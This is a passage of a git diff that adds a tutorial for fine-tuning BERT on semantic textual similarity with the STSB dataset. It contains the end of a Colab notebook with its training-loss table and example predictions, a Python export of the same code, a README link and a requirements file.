+        "optimizer = AdamW(model.parameters(),\n",
+        "                  lr = 1e-6)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "RVT3cA_-3NPP"
+      },
+      "outputs": [],
+      "source": [
+        "epochs = 8\n",
+        "\n",
+        "# Total number of training steps is [number of batches] x [number of epochs]. \n",
+        "total_steps = len(train_dataloader) * epochs\n",
+        "\n",
+        "scheduler = get_linear_schedule_with_warmup(optimizer, \n",
+        "                                            num_warmup_steps = 0,\n",
+        "                                            num_training_steps = total_steps)"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "zyIxF_7J3ep5"
+      },
+      "source": [
+        "### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "JH7_0ASp3oDW"
+      },
+      "outputs": [],
+      "source": [
+        "# Takes a time in seconds and returns a string hh:mm:ss\n",
+        "def format_time(elapsed):\n",
+        "    # Round to the nearest second.\n",
+        "    elapsed_rounded = int(round((elapsed)))\n",
+        "    \n",
+        "    # Format as hh:mm:ss\n",
+        "    return str(datetime.timedelta(seconds=elapsed_rounded))"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "jJFhpUJp92Qe"
+      },
+      "source": [
+        "### 10. Define the training function, and start the training loop"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "vdeUXU915NE5"
+      },
+      "outputs": [],
+      "source": [
+        "def train():\n",
+        "  seed_val = 42\n",
+        "\n",
+        "  criterion = CosineSimilarityLoss()\n",
+        "  criterion = criterion.to(device)\n",
+        "\n",
+        "  random.seed(seed_val)\n",
+        "  torch.manual_seed(seed_val)\n",
+        "\n",
+        "  # We'll store a number of quantities such as training and validation loss, \n",
+        "  # validation accuracy, and timings.\n",
+        "  training_stats = []\n",
+        "  total_t0 = time.time()\n",
+        "\n",
+        "  for epoch_i in range(0, epochs):\n",
+        "      \n",
+        "      # ========================================\n",
+        "      #               Training\n",
+        "      # ========================================\n",
+        "\n",
+        "      print(\"\")\n",
+        "      print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n",
+        "      print('Training...')\n",
+        "\n",
+        "      t0 = time.time()\n",
+        "\n",
+        "      total_train_loss = 0\n",
+        "\n",
+        "      model.train()\n",
+        "\n",
+        "      # For each batch of training data...\n",
+        "      for train_data, train_label in tqdm(train_dataloader):\n",
+        "\n",
+        "          train_data['input_ids'] = train_data['input_ids'].to(device)\n",
+        "          train_data['attention_mask'] = train_data['attention_mask'].to(device)\n",
+        "\n",
+        "          train_data = collate_fn(train_data)\n",
+        "          model.zero_grad()\n",
+        "\n",
+        "          output = [model(feature) for feature in train_data]\n",
+        "\n",
+        "          loss = criterion(output, train_label.to(device))\n",
+        "          total_train_loss += loss.item()\n",
+        "\n",
+        "          loss.backward()\n",
+        "          torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n",
+        "          optimizer.step()\n",
+        "          scheduler.step()\n",
+        "\n",
+        "      \n",
+        "      # Calculate the average loss over all of the batches.\n",
+        "      avg_train_loss = total_train_loss / len(train_dataloader)            \n",
+        "      \n",
+        "      # Measure how long this epoch took.\n",
+        "      training_time = format_time(time.time() - t0)\n",
+        "\n",
+        "      print(\"\")\n",
+        "      print(\"  Average training loss: {0:.5f}\".format(avg_train_loss))\n",
+        "      print(\"  Training epoch took: {:}\".format(training_time))\n",
+        "          \n",
+        "      # ========================================\n",
+        "      #               Validation\n",
+        "      # ========================================\n",
+        "\n",
+        "      print(\"\")\n",
+        "      print(\"Running Validation...\")\n",
+        "\n",
+        "      t0 = time.time()\n",
+        "\n",
+        "      model.eval()\n",
+        "\n",
+        "      total_eval_accuracy = 0\n",
+        "      total_eval_loss = 0\n",
+        "      nb_eval_steps = 0\n",
+        "\n",
+        "      # Evaluate data for one epoch\n",
+        "      for val_data, val_label in tqdm(validation_dataloader):\n",
+        "\n",
+        "          val_data['input_ids'] = val_data['input_ids'].to(device)\n",
+        "          val_data['attention_mask'] = val_data['attention_mask'].to(device)\n",
+        "\n",
+        "          val_data = collate_fn(val_data)\n",
+        "\n",
+        "          with torch.no_grad():        \n",
+        "              output = [model(feature) for feature in val_data]\n",
+        "\n",
+        "          loss = criterion(output, val_label.to(device))\n",
+        "          total_eval_loss += loss.item()\n",
+        "\n",
+        "      # Calculate the average loss over all of the batches.\n",
+        "      avg_val_loss = total_eval_loss / len(validation_dataloader)\n",
+        "      \n",
+        "      # Measure how long the validation run took.\n",
+        "      validation_time = format_time(time.time() - t0)\n",
+        "      \n",
+        "      print(\"  Validation Loss: {0:.5f}\".format(avg_val_loss))\n",
+        "      print(\"  Validation took: {:}\".format(validation_time))\n",
+        "\n",
+        "      # Record all statistics from this epoch.\n",
+        "      training_stats.append(\n",
+        "          {\n",
+        "              'epoch': epoch_i + 1,\n",
+        "              'Training Loss': avg_train_loss,\n",
+        "              'Valid. Loss': avg_val_loss,\n",
+        "              'Training Time': training_time,\n",
+        "              'Validation Time': validation_time\n",
+        "          }\n",
+        "      )\n",
+        "\n",
+        "  print(\"\")\n",
+        "  print(\"Training complete!\")\n",
+        "\n",
+        "  print(\"Total training took {:} (h:mm:ss)\".format(format_time(time.time()-total_t0)))\n",
+        "\n",
+        "  return model, training_stats"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "CoWW_TnZgSRf"
+      },
+      "outputs": [],
+      "source": [
+        "# Launch the training\n",
+        "model, training_stats = train()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 331
+        },
+        "id": "nEgMWBU7fzXh",
+        "outputId": "2adcb8b2-7fb3-422e-d08e-cf701c0240cf"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/html": [
+              "\n",
+              "  <div id=\"df-471c3966-19db-41fd-9c49-961803816527\">\n",
+              "    <div class=\"colab-df-container\">\n",
+              "      <div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
+              "        vertical-align: middle;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe tbody tr th {\n",
+              "        vertical-align: top;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe thead th {\n",
+              "        text-align: right;\n",
+              "    }\n",
+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>Training Loss</th>\n",
+              "      <th>Valid. Loss</th>\n",
+              "      <th>Training Time</th>\n",
+              "      <th>Validation Time</th>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>epoch</th>\n",
+              "      <th></th>\n",
+              "      <th></th>\n",
+              "      <th></th>\n",
+              "      <th></th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>1</th>\n",
+              "      <td>0.032639</td>\n",
+              "      <td>0.037972</td>\n",
+              "      <td>0:05:29</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>2</th>\n",
+              "      <td>0.030737</td>\n",
+              "      <td>0.035472</td>\n",
+              "      <td>0:05:28</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>3</th>\n",
+              "      <td>0.027920</td>\n",
+              "      <td>0.033640</td>\n",
+              "      <td>0:05:29</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>4</th>\n",
+              "      <td>0.025090</td>\n",
+              "      <td>0.032185</td>\n",
+              "      <td>0:05:29</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>5</th>\n",
+              "      <td>0.023217</td>\n",
+              "      <td>0.030802</td>\n",
+              "      <td>0:05:27</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>6</th>\n",
+              "      <td>0.021199</td>\n",
+              "      <td>0.030223</td>\n",
+              "      <td>0:05:29</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>7</th>\n",
+              "      <td>0.019567</td>\n",
+              "      <td>0.029389</td>\n",
+              "      <td>0:05:28</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>8</th>\n",
+              "      <td>0.017866</td>\n",
+              "      <td>0.028664</td>\n",
+              "      <td>0:05:29</td>\n",
+              "      <td>0:00:28</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "</div>\n",
+              "      <button class=\"colab-df-convert\" onclick=\"convertToInteractive('df-471c3966-19db-41fd-9c49-961803816527')\"\n",
+              "              title=\"Convert this dataframe to an interactive table.\"\n",
+              "              style=\"display:none;\">\n",
+              "        \n",
+              "  <svg xmlns=\"http://www.w3.org/2000/svg/" height=\"24px\"viewBox=\"0 0 24 24\"\n",
+              "       width=\"24px\">\n",
+              "    <path d=\"M0 0h24v24H0V0z\" fill=\"none\"/>\n",
+              "    <path d=\"M18.56 5.44l.94 2.06.94-2.06 2.06-.94-2.06-.94-.94-2.06-.94 2.06-2.06.94zm-11 1L8.5 8.5l.94-2.06 2.06-.94-2.06-.94L8.5 2.5l-.94 2.06-2.06.94zm10 10l.94 2.06.94-2.06 2.06-.94-2.06-.94-.94-2.06-.94 2.06-2.06.94z\"/><path d=\"M17.41 7.96l-1.37-1.37c-.4-.4-.92-.59-1.43-.59-.52 0-1.04.2-1.43.59L10.3 9.45l-7.72 7.72c-.78.78-.78 2.05 0 2.83L4 21.41c.39.39.9.59 1.41.59.51 0 1.02-.2 1.41-.59l7.78-7.78 2.81-2.81c.8-.78.8-2.07 0-2.86zM5.41 20L4 18.59l7.72-7.72 1.47 1.35L5.41 20z\"/>\n",
+              "  </svg>\n",
+              "      </button>\n",
+              "      \n",
+              "  <style>\n",
+              "    .colab-df-container {\n",
+              "      display:flex;\n",
+              "      flex-wrap:wrap;\n",
+              "      gap: 12px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert {\n",
+              "      background-color: #E8F0FE;\n",
+              "      border: none;\n",
+              "      border-radius: 50%;\n",
+              "      cursor: pointer;\n",
+              "      display: none;\n",
+              "      fill: #1967D2;\n",
+              "      height: 32px;\n",
+              "      padding: 0 0 0 0;\n",
+              "      width: 32px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert:hover {\n",
+              "      background-color: #E2EBFA;\n",
+              "      box-shadow: 0px 1px 2px rgba(60, 64, 67, 0.3), 0px 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "      fill: #174EA6;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert {\n",
+              "      background-color: #3B4455;\n",
+              "      fill: #D2E3FC;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert:hover {\n",
+              "      background-color: #434B5C;\n",
+              "      box-shadow: 0px 1px 3px 1px rgba(0, 0, 0, 0.15);\n",
+              "      filter: drop-shadow(0px 1px 2px rgba(0, 0, 0, 0.3));\n",
+              "      fill: #FFFFFF;\n",
+              "    }\n",
+              "  </style>\n",
+              "\n",
+              "      <script>\n",
+              "        const buttonEl =\n",
+              "          document.querySelector('#df-471c3966-19db-41fd-9c49-961803816527 button.colab-df-convert');\n",
+              "        buttonEl.style.display =\n",
+              "          google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "\n",
+              "        async function convertToInteractive(key) {\n",
+              "          const element = document.querySelector('#df-471c3966-19db-41fd-9c49-961803816527');\n",
+              "          const dataTable =\n",
+              "            await google.colab.kernel.invokeFunction('convertToInteractive',\n",
+              "                                                     [key], {});\n",
+              "          if (!dataTable) return;\n",
+              "\n",
+              "          const docLinkHtml = 'Like what you see? Visit the ' +\n",
+              "            '<a target=\"_blank\" href=https://colab.research.google.com/notebooks/data_table.ipynb>data table notebook</a>'\n",
+              "            + ' to learn more about interactive tables.';\n",
+              "          element.innerHTML = '';\n",
+              "          dataTable['output_type'] = 'display_data';\n",
+              "          await google.colab.output.renderOutput(dataTable, element);\n",
+              "          const docLink = document.createElement('div');\n",
+              "          docLink.innerHTML = docLinkHtml;\n",
+              "          element.appendChild(docLink);\n",
+              "        }\n",
+              "      </script>\n",
+              "    </div>\n",
+              "  </div>\n",
+              "  "
+            ],
+            "text/plain": [
+              "       Training Loss  Valid. Loss Training Time Validation Time\n",
+              "epoch                                                          \n",
+              "1           0.032639     0.037972       0:05:29         0:00:28\n",
+              "2           0.030737     0.035472       0:05:28         0:00:28\n",
+              "3           0.027920     0.033640       0:05:29         0:00:28\n",
+              "4           0.025090     0.032185       0:05:29         0:00:28\n",
+              "5           0.023217     0.030802       0:05:27         0:00:28\n",
+              "6           0.021199     0.030223       0:05:29         0:00:28\n",
+              "7           0.019567     0.029389       0:05:28         0:00:28\n",
+              "8           0.017866     0.028664       0:05:29         0:00:28"
+            ]
+          },
+          "execution_count": 31,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "# Create a DataFrame from our training statistics\n",
+        "df_stats = pd.DataFrame(data=training_stats)\n",
+        "\n",
+        "# Use the 'epoch' as the row index\n",
+        "df_stats = df_stats.set_index('epoch')\n",
+        "\n",
+        "# Display the table\n",
+        "df_stats"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "X7ahIyP4zsXp",
+        "outputId": "ddd2fa70-5a34-4db3-b6ee-b784d59bfb2d"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "WARNING:datasets.builder:Found cached dataset stsb_multi_mt (/root/.cache/huggingface/datasets/stsb_multi_mt/en/1.0.0/a5d260e4b7aa82d1ab7379523a005a366d9b124c76a5a5cf0c4c5365458b0ba9)\n"
+          ]
+        }
+      ],
+      "source": [
+        "test_dataset = load_dataset(\"stsb_multi_mt\", name=\"en\", split=\"test\")\n",
+        "\n",
+        "# Prepare the data\n",
+        "first_sent = [i['sentence1'] for i in test_dataset]\n",
+        "second_sent = [i['sentence2'] for i in test_dataset]\n",
+        "full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "wD7oPneMkUhe"
+      },
+      "outputs": [],
+      "source": [
+        "model.eval()\n",
+        "\n",
+        "def predict_similarity(sentence_pair):\n",
+        "  \n",
+        "  test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\").to(device)\n",
+        "  test_input['input_ids'] = test_input['input_ids']\n",
+        "  test_input['attention_mask'] = test_input['attention_mask']\n",
+        "  del test_input['token_type_ids']\n",
+        "\n",
+        "  output = model(test_input)\n",
+        "  sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()\n",
+        "\n",
+        "  return sim"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "e-lGkcofz6hS",
+        "outputId": "dd20141d-0496-4426-a97d-0c020612106d"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Sentence 1: A cat is walking around a house.\n",
+            "Sentence 2: A woman is peeling potato.\n",
+            "Predicted similarity score: 0.01\n"
+          ]
+        }
+      ],
+      "source": [
+        "example_1 = full_text[100]\n",
+        "print(f\"Sentence 1: {example_1[0]}\")\n",
+        "print(f\"Sentence 2: {example_1[1]}\")\n",
+        "print(f\"Predicted similarity score: {round(predict_similarity(example_1), 2)}\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "ViwfU0M2DOgh",
+        "outputId": "e677ea0a-4ac8-4d38-e0d8-06baa71bbcb9"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Sentence 1: Two men are playing football.\n",
+            "Sentence 2: Two men are practicing football.\n",
+            "Predicted similarity score: 0.84\n"
+          ]
+        }
+      ],
+      "source": [
+        "example_2 = full_text[130]\n",
+        "print(f\"Sentence 1: {example_2[0]}\")\n",
+        "print(f\"Sentence 2: {example_2[1]}\")\n",
+        "print(f\"Predicted similarity score: {round(predict_similarity(example_2), 2)}\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "sGn-H7ARDnBG",
+        "outputId": "ea5b057d-40f4-4c9c-896e-ebe6223a6635"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Sentence 1: It varies by the situation.\n",
+            "Sentence 2: This varies by institution.\n",
+            "Predicted similarity score: 0.6\n"
+          ]
+        }
+      ],
+      "source": [
+        "example_3 = full_text[812]\n",
+        "print(f\"Sentence 1: {example_3[0]}\")\n",
+        "print(f\"Sentence 2: {example_3[1]}\")\n",
+        "print(f\"Predicted similarity score: {round(predict_similarity(example_3), 2)}\")"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "_XovRH0VkXXs"
+      },
+      "source": [
+        "### Last but not least, save your model!"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Om3wskAQkaJP"
+      },
+      "outputs": [],
+      "source": [
+        "PATH = 'your/path/here'\n",
+        "torch.save(model.state_dict(), PATH)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "wCe1I2soj-Kj"
+      },
+      "outputs": [],
+      "source": [
+        "# In order to load the model\n",
+        "# First, you have to create an instance of the model's class\n",
+        "# And use the saving path for the loading\n",
+        "# Don't forget to set the model to the evaluation state using .eval()\n",
+        "\n",
+        "model = BertForSTS()\n",
+        "model.load_state_dict(torch.load(PATH))\n",
+        "model.eval()"
+      ]
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "gpuType": "T4",
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python",
+      "version": "3.9.12"
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py
new file mode 100644
index 00000000..fd025d2e
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py
@@ -0,0 +1,390 @@
+# %% [markdown]
+# ### 1. Install and import the required packages
+
+# %%
+!pip install transformers sentence-transformers datasets
+
+# %%
+from datasets import load_dataset
+from sentence_transformers import SentenceTransformer, models
+from transformers import BertTokenizer
+from transformers import get_linear_schedule_with_warmup
+import torch
+from torch.optim import AdamW
+from torch.utils.data import DataLoader
+from tqdm import tqdm
+import time
+import datetime
+import random
+import numpy as np
+import pandas as pd
+
+# %% [markdown]
+# ### 2. Use Google Colab's GPU for training
+
+# %%
+if torch.cuda.is_available():    
+    device = torch.device("cuda")
+    print(f'There are {torch.cuda.device_count()} GPU(s) available.')
+    print('We will use the GPU:', torch.cuda.get_device_name(0))
+else:
+    print('No GPU available, using the CPU instead.')
+    device = torch.device("cpu")
+
+# %% [markdown]
+# ### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset
+
+# %%
+# Load the English version of the STSB dataset
+dataset = load_dataset("stsb_multi_mt", "en")
+
+# %%
+print(dataset)
+
+# %%
+print("A sample from the STSB dataset's training split:")
+print(dataset['train'][98])
+
+# %% [markdown]
+# ### **4.** Define the dataset loader class
+# 
+
+# %%
+# Instantiate the BERT tokenizer
+# You can use larger variants of the model, here we're using the base model
+tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
+
+# %%
+class STSBDataset(torch.utils.data.Dataset):
+
+    def __init__(self, dataset):
+
+        # Normalize the similarity scores in the dataset
+        similarity_scores = [i['similarity_score'] for i in dataset]
+        self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]
+        self.first_sentences = [i['sentence1'] for i in dataset]
+        self.second_sentences = [i['sentence2'] for i in dataset]
+        self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]
+
+    def __len__(self):
+
+        return len(self.concatenated_sentences)
+
+    def get_batch_labels(self, idx):
+
+        return torch.tensor(self.normalized_similarity_scores[idx])
+
+    def get_batch_texts(self, idx):
+
+        return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors="pt")
+
+    def __getitem__(self, idx):
+
+        batch_texts = self.get_batch_texts(idx)
+        batch_y = self.get_batch_labels(idx)
+
+        return batch_texts, batch_y
+
+
+def collate_fn(texts):
+
+    input_ids = texts['input_ids']
+    attention_masks = texts['attention_mask']
+
+    features = [{'input_ids': input_id, 'attention_mask': attention_mask}
+                for input_id, attention_mask in zip(input_ids, attention_masks)]
+
+    return features
+
+# %% [markdown]
+# ### 5. Define the model class based on BERT
+
+# %%
+class BertForSTS(torch.nn.Module):
+
+    def __init__(self):
+
+        super(BertForSTS, self).__init__()
+        self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)
+        self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())
+        self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])
+
+    def forward(self, input_data):
+        output = self.sts_bert(input_data)['sentence_embedding']
+        return output
+
+# %%
+# Instantiate the model and move it to GPU
+model = BertForSTS()
+model.to(device)
+
+# %% [markdown]
+# ### 6. Define the Cosine Similarity loss function
+
+# %%
+class CosineSimilarityLoss(torch.nn.Module):
+
+    def __init__(self,  loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):
+        super(CosineSimilarityLoss, self).__init__()
+        self.loss_fn = loss_fn
+        self.transform_fn = transform_fn
+        self.cos_similarity = torch.nn.CosineSimilarity(dim=1)
+
+    def forward(self, inputs, labels):
+        emb_1 = torch.stack([inp[0] for inp in inputs])
+        emb_2 = torch.stack([inp[1] for inp in inputs])
+        outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))
+        return self.loss_fn(outputs, labels.squeeze())
+
+# %% [markdown]
+# ### 7. Prepare the training and validation data split
+
+# %%
+train_ds = STSBDataset(dataset['train'])
+val_ds = STSBDataset(dataset['dev'])
+
+# Create a 90-10 train-validation split.
+train_size = len(train_ds)
+val_size = len(val_ds)
+
+print('{:>5,} training samples'.format(train_size))
+print('{:>5,} validation samples'.format(val_size))
+
+# %%
+batch_size = 8
+
+train_dataloader = DataLoader(
+            train_ds,  # The training samples.
+            num_workers = 4,
+            batch_size = batch_size, # Use this batch size.
+            shuffle=True # Select samples randomly for each batch
+        )
+
+validation_dataloader = DataLoader(
+            val_ds,
+            num_workers = 4,
+            batch_size = batch_size # Use the same batch size
+        )
+
+# %% [markdown]
+# ### 8. Define the Optimizer and Scheduler
+
+# %%
+optimizer = AdamW(model.parameters(),
+                  lr = 1e-6)
+
+# %%
+epochs = 8
+
+# Total number of training steps is [number of batches] x [number of epochs]. 
+total_steps = len(train_dataloader) * epochs
+
+scheduler = get_linear_schedule_with_warmup(optimizer, 
+                                            num_warmup_steps = 0,
+                                            num_training_steps = total_steps)
+
+# %% [markdown]
+# ### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`
+
+# %%
+# Takes a time in seconds and returns a string hh:mm:ss
+def format_time(elapsed):
+    # Round to the nearest second.
+    elapsed_rounded = int(round((elapsed)))
+    
+    # Format as hh:mm:ss
+    return str(datetime.timedelta(seconds=elapsed_rounded))
+
+# %% [markdown]
+# ### 10. Define the training function, and start the training loop
+
+# %%
+def train():
+  seed_val = 42
+
+  criterion = CosineSimilarityLoss()
+  criterion = criterion.to(device)
+
+  random.seed(seed_val)
+  torch.manual_seed(seed_val)
+
+  # We'll store a number of quantities such as training and validation loss, 
+  # validation accuracy, and timings.
+  training_stats = []
+  total_t0 = time.time()
+
+  for epoch_i in range(0, epochs):
+      
+      # ========================================
+      #               Training
+      # ========================================
+
+      print("")
+      print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))
+      print('Training...')
+
+      t0 = time.time()
+
+      total_train_loss = 0
+
+      model.train()
+
+      # For each batch of training data...
+      for train_data, train_label in tqdm(train_dataloader):
+
+          train_data['input_ids'] = train_data['input_ids'].to(device)
+          train_data['attention_mask'] = train_data['attention_mask'].to(device)
+
+          train_data = collate_fn(train_data)
+          model.zero_grad()
+
+          output = [model(feature) for feature in train_data]
+
+          loss = criterion(output, train_label.to(device))
+          total_train_loss += loss.item()
+
+          loss.backward()
+          torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
+          optimizer.step()
+          scheduler.step()
+
+      
+      # Calculate the average loss over all of the batches.
+      avg_train_loss = total_train_loss / len(train_dataloader)            
+      
+      # Measure how long this epoch took.
+      training_time = format_time(time.time() - t0)
+
+      print("")
+      print("  Average training loss: {0:.5f}".format(avg_train_loss))
+      print("  Training epoch took: {:}".format(training_time))
+          
+      # ========================================
+      #               Validation
+      # ========================================
+
+      print("")
+      print("Running Validation...")
+
+      t0 = time.time()
+
+      model.eval()
+
+      total_eval_accuracy = 0
+      total_eval_loss = 0
+      nb_eval_steps = 0
+
+      # Evaluate data for one epoch
+      for val_data, val_label in tqdm(validation_dataloader):
+
+          val_data['input_ids'] = val_data['input_ids'].to(device)
+          val_data['attention_mask'] = val_data['attention_mask'].to(device)
+
+          val_data = collate_fn(val_data)
+
+          with torch.no_grad():        
+              output = [model(feature) for feature in val_data]
+
+          loss = criterion(output, val_label.to(device))
+          total_eval_loss += loss.item()
+
+      # Calculate the average loss over all of the batches.
+      avg_val_loss = total_eval_loss / len(validation_dataloader)
+      
+      # Measure how long the validation run took.
+      validation_time = format_time(time.time() - t0)
+      
+      print("  Validation Loss: {0:.5f}".format(avg_val_loss))
+      print("  Validation took: {:}".format(validation_time))
+
+      # Record all statistics from this epoch.
+      training_stats.append(
+          {
+              'epoch': epoch_i + 1,
+              'Training Loss': avg_train_loss,
+              'Valid. Loss': avg_val_loss,
+              'Training Time': training_time,
+              'Validation Time': validation_time
+          }
+      )
+
+  print("")
+  print("Training complete!")
+
+  print("Total training took {:} (h:mm:ss)".format(format_time(time.time()-total_t0)))
+
+  return model, training_stats
+
+# %%
+# Launch the training
+model, training_stats = train()
+
+# %%
+# Create a DataFrame from our training statistics
+df_stats = pd.DataFrame(data=training_stats)
+
+# Use the 'epoch' as the row index
+df_stats = df_stats.set_index('epoch')
+
+# Display the table
+df_stats
+
+# %%
+test_dataset = load_dataset("stsb_multi_mt", name="en", split="test")
+
+# Prepare the data
+first_sent = [i['sentence1'] for i in test_dataset]
+second_sent = [i['sentence2'] for i in test_dataset]
+full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]
+
+# %%
+model.eval()
+
+def predict_similarity(sentence_pair):
+  
+  test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors="pt").to(device)
+  test_input['input_ids'] = test_input['input_ids']
+  test_input['attention_mask'] = test_input['attention_mask']
+  del test_input['token_type_ids']
+
+  output = model(test_input)
+  sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()
+
+  return sim
+
+# %%
+example_1 = full_text[100]
+print(f"Sentence 1: {example_1[0]}")
+print(f"Sentence 2: {example_1[1]}")
+print(f"Predicted similarity score: {round(predict_similarity(example_1), 2)}")
+
+# %%
+example_2 = full_text[130]
+print(f"Sentence 1: {example_2[0]}")
+print(f"Sentence 2: {example_2[1]}")
+print(f"Predicted similarity score: {round(predict_similarity(example_2), 2)}")
+
+# %%
+example_3 = full_text[812]
+print(f"Sentence 1: {example_3[0]}")
+print(f"Sentence 2: {example_3[1]}")
+print(f"Predicted similarity score: {round(predict_similarity(example_3), 2)}")
+
+# %% [markdown]
+# ### Last but not least, save your model!
+
+# %%
+PATH = 'your/path/here'
+torch.save(model.state_dict(), PATH)
+
+# %%
+# In order to load the model
+# First, you have to create an instance of the model's class
+# And use the saving path for the loading
+# Don't forget to set the model to the evaluation state using .eval()
+
+model = BertForSTS()
+model.load_state_dict(torch.load(PATH))
+model.eval()
+
+
diff --git a/machine-learning/nlp/semantic-textual-similarity/README.md b/machine-learning/nlp/semantic-textual-similarity/README.md
new file mode 100644
index 00000000..20745c3f
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/README.md
@@ -0,0 +1 @@
+# [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/semantic-textual-similarity/requirements.txt b/machine-learning/nlp/semantic-textual-similarity/requirements.txt
new file mode 100644
index 00000000..c481c303
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/requirements.txt
@@ -0,0 +1,6 @@
+transformers
+sentence-transformers
+datasets
+tqdm
